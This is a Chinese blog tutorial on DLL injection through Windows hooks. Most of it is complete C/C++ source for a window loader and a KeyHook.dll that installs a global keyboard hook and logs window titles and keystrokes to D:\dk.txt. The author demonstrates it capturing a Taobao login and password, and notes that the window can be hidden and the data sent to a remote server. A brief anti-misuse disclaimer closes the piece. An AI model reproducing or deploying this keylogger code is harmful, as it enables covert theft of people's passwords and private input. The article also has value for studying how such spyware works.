DLL注入
- 在Windows中,每个进程有自己私有的地址空间。当我们用指针来引用内存的时候,指针的值表示的是进程自己的地址空间中的一个内存地址。进程不能创建一个指针来引用属于其他进程的内存。因此,如果进程有一个缺陷会覆盖随机地址处的内存,那么这个缺陷不会影响到其他进程所使用的内存。
- 独立的地址空间对开发人员和用户是非常有利的。对开发人员来说,系统更有可能捕获错误的内存读/写。对于用户来说,操作系统变得更加健壮了,因为一个应用程序的错误不会导致其他应用程序或操作系统崩溃。
- 所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。可以通过很多种方式来实现DLL注入。
- 使用注册表来注入DLL
- 使用Windows挂钩来注入DLL
- 使用远程线程来注入DLL
- 使用木马DLL来注入
- 把DLL作为调试器来注入
- 使用CreateProcess来注入代码
HOOK技术
- 这篇文章主要介绍下通过HOOK技术来实现DLL注入
windows窗口程序
-
先创建一个windows窗口程序
-
新建一个win32项目


-
新建一个源文件,写一个windows窗口程序
#include <windows.h> typedef BOOL(*P)(); //窗口处理函数 LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); //入口函数 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow) { //设计窗口类 WNDCLASS wc = { 0 }; TCHAR szAppClassName[] = TEXT("KEY_EDU"); wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景颜色 wc.hInstance = hInstance; //应用程序实例句柄 wc.lpfnWndProc = WindowProc; //窗口处理函数 wc.lpszClassName = szAppClassName; //窗口类型名 wc.style = CS_HREDRAW | CS_VREDRAW; //窗口风格 //注册窗口 RegisterClass(&wc); //创建窗口 HWND hWnd = CreateWindow( szAppClassName, //窗口类型名 TEXT("键盘记录器"), //窗口标题名 WS_OVERLAPPEDWINDOW, //窗口风格 300, //窗口坐标(距离左边) 200, //窗口坐标(距离上边) 500, //窗口宽度 300, //窗口高度 NULL, //父窗口句柄 NULL, //菜单句柄 hInstance, //应用程序实例句柄 NULL //附加信息 ); //显示窗口(SW_HIDE 隐藏窗口) ShowWindow(hWnd, SW_SHOW); //更新窗口 UpdateWindow(hWnd); //消息循环 MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { //将虚拟键消息转换为字符消息 TranslateMessage(&msg); //将消息分发给窗口处理 DispatchMessage(&msg); } return 0; } LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_CLOSE: //窗口关闭消息 DestroyWindow(hWnd); //销毁窗口 break; case WM_DESTROY: PostQuitMessage(0); //退出窗口 break; case WM_CREATE: //窗口创建消息 HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll")); if (hModule != NULL) { P pfun = (P)::GetProcAddress(hModule, "InstallHook"); if (pfun != NULL) { pfun(); } } break; } return DefWindowProc(hWnd, uMsg, wParam, lParam); }
钩子程序
- 创建一个DLL程序


- 创建一个头文件和源文件
- keyHook.h
#pragma once #include <windows.h> HHOOK g_hook; //安装钩子 extern "C" __declspec(dllexport) BOOL InstallHook(); //卸载钩子 extern "C" __declspec(dllexport) BOOL UninstallHook(); //钩子处理函数 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam); - keyHook.cpp
#include "keyHook.h" #include <stdio.h> BOOL InstallHook() { g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0); if (g_hook == NULL) { return FALSE; } return TRUE; } BOOL UninstallHook() { return UnhookWindowsHookEx(g_hook); } LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { //拿到当前操作窗口的句柄 HWND hWnd = ::GetActiveWindow(); //拿当前活动窗口 if (hWnd == NULL) { hWnd = ::GetForegroundWindow(); //拿顶层窗口 if (hWnd == NULL) { return CallNextHookEx(g_hook, nCode, wParam, lParam); } } //拿标题 char windowsTextBuff[256] = { 0 }; GetWindowTextA(hWnd, windowsTextBuff, 255); //去掉不能拿的按键 if (nCode < 0 || nCode == HC_NOREMOVE) { return CallNextHookEx(g_hook, nCode, wParam, lParam); //让钩子往下传 } if (lParam & 0x40000000) //键盘抬起 { return CallNextHookEx(g_hook, nCode, wParam, lParam); } //获取按键 char keyTextBuff[256] = { 0 }; GetKeyNameTextA(lParam, keyTextBuff, 255); //打开文件 FILE* fp = fopen("D:\\dk.txt", "a"); if (fp == NULL) { return CallNextHookEx(g_hook, nCode, wParam, lParam); } char buff[256] = { 0 }; sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff); fwrite(buff, 1, strlen(buff), fp); fclose(fp); return CallNextHookEx(g_hook, nCode, wParam, lParam); } - 然后把库文件拷贝到windows窗口程序运行目录下


测试
- 直接运行windows窗口程序

- 然后我们用键盘随便输入信息
- 打开淘宝输入账号和密码

- 在D:\dk.txt文件中就会记录按键信息

- 当然可以记录你的任何输入


- 运行窗口只是为了方便演示,这个窗口可以隐藏。所以说为什么不要去点击乱七八糟的网页,如果攻击者把程序放到钓鱼网站,你点击后,这些程序就会神不知鬼不觉的下载安装运行在你的电脑上,这个测试程序只是将键盘输入记录到本地文件中,攻击者完全可以把你的输入实时发送到远程服务器上。
- 郑重申明,请不要使用HOOK技术去干违法的事情。
本文详细介绍了如何通过HOOK技术在Windows环境中注入DLL,包括创建窗口程序、设置窗口钩子、加载并调用DLL函数,以及实际操作中记录键盘输入的示例。注意非法用途的警示,仅用于学习目的。
7554

被折叠的 条评论
为什么被折叠?



